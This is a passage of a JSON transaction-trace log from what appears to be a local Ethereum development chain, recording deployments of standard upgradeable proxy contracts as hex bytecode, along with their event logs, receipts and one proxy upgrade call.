5570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033","gas_used":465106,"gas_limit":636783,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f373042"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1}]}],"exit":"Return","out":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033","nonce":37,"gas_used":573230},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x1a3d8a","logs":[{"address":"0xf5059a5d33d5853360d16c683c16e67980206f36","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},{"address":"0xf5059a5d33d5853360d16c683c16e67980206f36","topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f373042"}],"logsBloom":"0x00000000000000000000000000000000400000000000000000000000000000000000000000000000000400000000000000c00010000000000000000000000000000000000000000000000000000002000000000000000000000000000000400000000000000000000000000000000000000000800000000000000000000000000400000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0xd351f4a88bfc87d7e3d306fb39d5689a42d93bdff4193db6573e73e3ca7bd959","block_number":3},{"info":{"transaction_hash":"0xc55bc6448216d5fabf802cafda5597277ac40a0a4254523971756c67ff9fb2ee","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","contract_address":null,"traces":[{"parent":null,"children":[1],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x99a88ec4000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f3600000000000000000000000070e0ba845a1a0f2da3359c97e0285013525ffc49","output":"0x","gas_used":17021,"gas_limit":31821,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":0,"children":[],"idx":1,"trace":{"depth":1,"success":true,"caller":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","address":"0xf5059a5d33d5853360d16c683c16e67980206f36","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x3659cfe600000000000000000000000070e0ba845a1a0f2da3359c97e0285013525ffc49","output":"0x","gas_used":11547,"gas_limit":25979,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x00000000000000000000000070e0ba845a1a0f2da3359c97e0285013525ffc49"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Stop","out":"0x","nonce":41,"gas_used":38821},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x97a5","logs":[{"address":"0xf5059a5d33d5853360d16c683c16e67980206f36","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x00000000000000000000000070e0ba845a1a0f2da3359c97e0285013525ffc49"],"data":"0x"}],"logsBloom":"0x00000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000800010000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000400000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0xdd34892cdec12c656cb445920969a9b23308638d8e43f011ca123abe0e58004c","block_number":5},{"info":{"transaction_hash":"0x38f2b8e4d56e8cd317b7ec6c7f676ead48e1c7c86e17619810ea766df8bea1cb","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x5fc8d32690cc91d4c39d9d3abcbd16989f875707","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x5fc8d32690cc91d4c39d9d3abcbd16989f875707","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","output":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033","gas_used":465106,"gas_limit":636783,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1}]}],"exit":"Return","out":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033","nonce":5,"gas_used":573230},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x8bf2e","logs":[{"address":"0x5fc8d32690cc91d4c39d9d3abcbd16989f875707","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},{"address":"0x5fc8d32690cc91d4c39d9d3abcbd16989f875707","topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"}],"logsBloom":"0x00000000000000000000000000000000400000000000000000000000000000000000000000000000000400000000000000400000000000000000000000000000000000000000000000000000000002000000000240000000000000000000400000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000400000000000001000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x1ff38862b4e1a20e1c613d101727ece9f658c7a6f5f12eb1f9141139574be097","block_number":3},{"info":{"transaction_hash":"0x2c639a7ffaf188e645bdd0f62c0f0b303593a3b144b04842affe5a3b4f3f4eef","transaction_index":1,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0xc5a5c42992decbae36851359345fe25997f5c42d","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0xc5a5c42992decbae36851359345fe25997f5c42d","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd